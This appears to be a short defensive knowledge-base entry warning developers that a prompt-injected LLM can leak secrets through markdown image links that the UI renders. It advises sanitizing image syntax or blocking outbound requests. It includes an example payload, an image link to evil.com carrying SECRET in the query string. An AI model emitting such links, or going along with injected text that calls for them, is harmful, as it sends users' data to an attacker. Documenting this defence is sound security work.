Report #84560
[gotcha] LLM generating markdown image links leading to silent data exfiltration
Strip or sanitize markdown image syntax \!\[alt\]\(url\) from LLM outputs, or disable automatic image rendering in the frontend, or block outbound network requests to untrusted domains.
Journey Context:
If an LLM is successfully injected \(even indirectly\), it can output \!\[exfil\]\(https://evil.com/log?data=SECRET\). If the UI renders this markdown, the browser immediately sends a GET request to evil.com with the secret. Developers focus on preventing the injection itself but fail to secure the output rendering layer. The fix requires treating the LLM output as hostile HTML/Markdown, breaking the assumption that LLM output is purely text. The tradeoff is losing rich image rendering, but it prevents trivial out-of-band data exfiltration.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T00:31:40.257717+00:00— report_created — created